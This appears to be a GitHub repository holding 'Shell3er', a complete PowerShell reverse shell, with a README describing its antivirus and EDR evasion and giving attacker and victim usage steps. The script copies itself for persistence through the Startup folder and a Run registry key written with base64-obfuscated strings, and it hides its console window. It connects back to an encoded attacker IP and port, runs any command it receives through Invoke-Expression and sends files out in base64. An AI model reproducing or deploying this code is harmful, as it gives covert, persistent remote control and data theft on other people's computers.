├── LICENSE ├── README.md └── Shell3er.ps1 /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Yehia M. Elghaly 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Shell3er 2 | Shell3er PowerShell Reverse Shell 3 | 4 | 5 | ![23](https://user-images.githubusercontent.com/3721991/236687641-5a7e5a0e-5328-4049-a687-ab16988f3ea1.PNG) 6 | 7 | ## The Shell3er Reverse Features 8 | 9 | **Get-RandomProcessName Function** 10 | 11 | The Get-RandomProcessName function generates a random process name by concatenating "PS_" with a new GUID. This is used to create unique and seemingly random process names, making it harder to identify suspicious processes. 12 | 13 | ![sd2](https://user-images.githubusercontent.com/3721991/236688388-16119a21-1b70-4d81-9ea2-b5e85843f886.PNG) 14 | 15 | 16 | **Run-BackgroundTask Function** 17 | 18 | The Run-BackgroundTask function accepts a ScriptBlock and an optional ProcessName as parameters. It then starts a new background job with a random job name, executes the script block, and retrieves the output. The main purpose of this function is to run tasks in the background without interfering with the main script. 19 | 20 | **Download and Upload Functions** 21 | 22 | The download and upload functions serve to transfer files between the client and the server. They use Base64 encoding to transmit the file data over the network. Errors, if encountered during the file transfer process, are sent back to the client. 23 | 24 | ![keylog](https://user-images.githubusercontent.com/3721991/236688796-1fe1af6e-e480-4e5b-84db-796679394a8c.PNG) 25 | 26 | 27 | **Persistence Mechanisms** 28 | 29 | The script uses two different methods to achieve persistence on the target system. First, it copies itself to the "C:\ProgramData" folder and modifies the registry key "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" to start the script every time the user logs in. Second, it copies the script to the user's Startup folder, ensuring that it runs every time the user starts their system. 30 | 31 | The Shell3er Tested Manually on the following Solutuions 32 | (Checkpoint EDR version E85.40) (Kaspersky Total Security) (Widdows Defender) 33 | 34 | ![sdf](https://user-images.githubusercontent.com/3721991/236688462-2ccd278b-b133-4908-854b-a1dd90b7cd63.PNG) 35 | 36 | 37 | ## Usage 38 | 39 | * nc -nlvp 4444 on the Attacker Machine 40 | * Execute the script on the Victim Mcahine 41 | 42 | ## Contributing 43 | 44 | Awesome! Contributions are welcome and greatly appreciated. Please submit all on the GitHub pull requests tracker. Together we can make this even more amazing! 🚀 45 | -------------------------------------------------------------------------------- /Shell3er.ps1: -------------------------------------------------------------------------------- 1 | function Get-RandomProcessName { 2 | return "PS_" + [System.Guid]::NewGuid().ToString() 3 | } 4 | 5 | function Run-BackgroundTask { 6 | param( 7 | [ScriptBlock]$ScriptBlock, 8 | [string]$ProcessName 9 | ) 10 | 11 | if (-not $ProcessName) { 12 | $ProcessName = Get-RandomProcessName 13 | } 14 | 15 | $JobName = "BackgroundTask_" + [Guid]::NewGuid().ToString() 16 | 17 | Start-Job -Name $JobName -ScriptBlock $ScriptBlock | Out-Null 18 | 19 | $job = Get-Job -Name $JobName 20 | 21 | while ($job.State -eq "Running") { 22 | Start-Sleep -Milliseconds 500 23 | } 24 | 25 | $result = $job | Receive-Job 26 | 27 | Remove-Job -Name $JobName -Force | Out-Null 28 | 29 | return $result 30 | } 31 | 32 | 33 | function download($filename) { 34 | try { 35 | $fileBytes = [System.IO.File]::ReadAllBytes($filename) 36 | $writer.Write("down:$filename`n") 37 | $writer.Write([Convert]::ToBase64String($fileBytes)) 38 | $writer.Write("`n") 39 | $writer.Flush() 40 | } catch { 41 | $writer.Write("Err: " + $_.Exception.Message + "`n") 42 | $writer.Flush() 43 | } 44 | } 45 | 46 | function upload($filePath) { 47 | try { 48 | $content = [System.IO.File]::ReadAllBytes($filePath) 49 | $writer.Write("Upl:Success`n") 50 | $writer.Write([Convert]::ToBase64String($content)) 51 | $writer.Write("`n") 52 | $writer.Flush() 53 | } catch { 54 | $writer.Write("Err: " + $_.Exception.Message + "`n") 55 | $writer.Flush() 56 | } 57 | } 58 | 59 | function Show-Banner { 60 | @" 61 | 62 | / | _ __ | |_ () ___ _ __ ___ 63 | | | / _ | ' | || |/ _ | ' / | 64 | | || () | | | | |_ | | () | | | _ 65 | __/|| ||_|/ |_/|| ||/ 66 | | __ __ _ _ __ || _ __ ___ _ __ 67 | | / |/ _` | '/ _ | | ' \ / _ \ '| 68 | | |/| | (| | | | () | | |) | __/ | 69 | || ||_,|| _/|| ./ _|| 70 | |_| 71 | Welcome to the Mrvar0x PowerShell Remote Shell! 72 | "@ 73 | } 74 | 75 | Copy-Item -Path $PSCommandPath -Destination "C:\ProgramData\$([System.IO.Path]::GetFileName($PSCommandPath))" 76 | 77 | sp -Path $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4A'))) -Name $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQB5AFMAYwByAGkAcAB0AA=='))) -Value $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBGAGkAbABlACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwBoAGUAbABsADMAZQByAC4AcABzADEA'))) 78 | 79 | $sourcePath = "C:\ProgramData\Shell3er.ps1" 80 | $destinationPath = [Environment]::GetFolderPath('Startup') + "\Shell3er.ps1" 81 | 82 | Copy-Item -Path $sourcePath -Destination $destinationPath 83 | 84 | Show-Banner 85 | 86 | # Replace the IP and port with your own listener's IP and port (base64 encoded) 87 | $encodedIp = 'MTkyLjE2OC4xODAuMTI4' # Replace with base64 encoded IP 88 | $encodedPort = 'NDQ0NA==' # Replace with base64 encoded port 89 | # Decode the IP address 90 | $ip = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedIp)) 91 | $port = [System.Convert]::ToInt32([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedPort))) 92 | 93 | # Create a TCP client 94 | $client = New-Object System.Net.Sockets.TCPClient($ip, $port) 95 | $stream = $client.GetStream() 96 | 97 | # Create byte array for data 98 | $buffer = New-Object Byte[] 1024 99 | 100 | # Create StreamReader and StreamWriter 101 | $reader = New-Object System.IO.StreamReader($stream) 102 | $writer = New-Object System.IO.StreamWriter($stream) 103 | 104 | # Redirect input, output, and error streams 105 | $psI = [System.Console]::In 106 | $psO = [System.Console]::Out 107 | $psE = [System.Console]::Error 108 | [System.Console]::SetIn($reader) 109 | [System.Console]::SetOut($writer) 110 | [System.Console]::SetError($writer) 111 | # Hide the window 112 | Add-Type -Name Window -Namespace Console -MemberDefinition ' 113 | [DllImport("Kernel32.dll")] 114 | public static extern IntPtr GetConsoleWindow(); 115 | 116 | [DllImport("user32.dll")] 117 | public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 118 | 119 | public static void Hide() 120 | { 121 | IntPtr console = GetConsoleWindow(); 122 | if (console != IntPtr.Zero) 123 | { 124 | ShowWindow(console, 0); 125 | } 126 | }' 127 | [Console.Window]::Hide() 128 | 129 | # Start PowerShell session 130 | $shell = "PS " + (Get-Location).Path + "> " 131 | $writer.Write($shell) 132 | $writer.Flush() 133 | 134 | # Command history 135 | $history = @() 136 | 137 | # Main loop 138 | while ($true) { 139 | try { 140 | $data = $reader.ReadLine() 141 | $history += $data 142 | if ($data -eq "exit") { break } 143 | 144 | switch -Regex ($data) { 145 | 146 | 'runscript (.+)' { 147 | $file = $matches[1] 148 | $scriptContent = [System.IO.File]::ReadAllText($file) 149 | $output = (Invoke-Expression -Command $scriptContent 2>&1 | Out-String) 150 | } 151 | 152 | 'download (.+)' { 153 | $file = $matches[1] 154 | download $file 155 | } 156 | 157 | 'upload (.+)' { 158 | $file = $matches[1] 159 | upload $file 160 | } 161 | 162 | 'browse (.+)' { 163 | $directory = $matches[1] 164 | if (Test-Path $directory -PathType Container) { 165 | $output = Get-ChildItem $directory | Format-Table -AutoSize | Out-String 166 | } else { 167 | $output = "Directory not found" 168 | } 169 | } 170 | 171 | default { 172 | $output = (Invoke-Expression -Command $data 2>&1 | Out-String) 173 | } 174 | } 175 | } catch { 176 | $output = "Error: " + $_.Exception.Message 177 | } 178 | 179 | $writer.Write($output + $shell) 180 | $writer.Flush() 181 | } 182 | 183 | # Run in background 184 | Run-BackgroundTask -ScriptBlock { 185 | 186 | # Create random process name for PowerShell process 187 | $processName = Get-RandomProcessName 188 | 189 | # Create process start info object 190 | $psi = New-Object System.Diagnostics.ProcessStartInfo 191 | $psi.FileName = "powershell.exe" 192 | $psi.Arguments = "-WindowStyle Hidden -NoLogo -NoProfile -EncodedCommand $encodedCommand" 193 | $psi.UseShellExecute = $false 194 | $psi.RedirectStandardOutput = $true 195 | $psi.RedirectStandardError = $true 196 | $psi.RedirectStandardInput = $true 197 | $psi.CreateNoWindow = $true 198 | $psi.UserName = $null 199 | $psi.Password = $null 200 | $psi.Domain = $null 201 | 202 | # Create PowerShell process object 203 | $p = New-Object System.Diagnostics.Process 204 | $p.StartInfo = $psi 205 | $p.EnableRaisingEvents = $true 206 | # Start PowerShell process 207 | $p.Start() 208 | # Wait for PowerShell process to exit 209 | $p.WaitForExit() 210 | } --------------------------------------------------------------------------------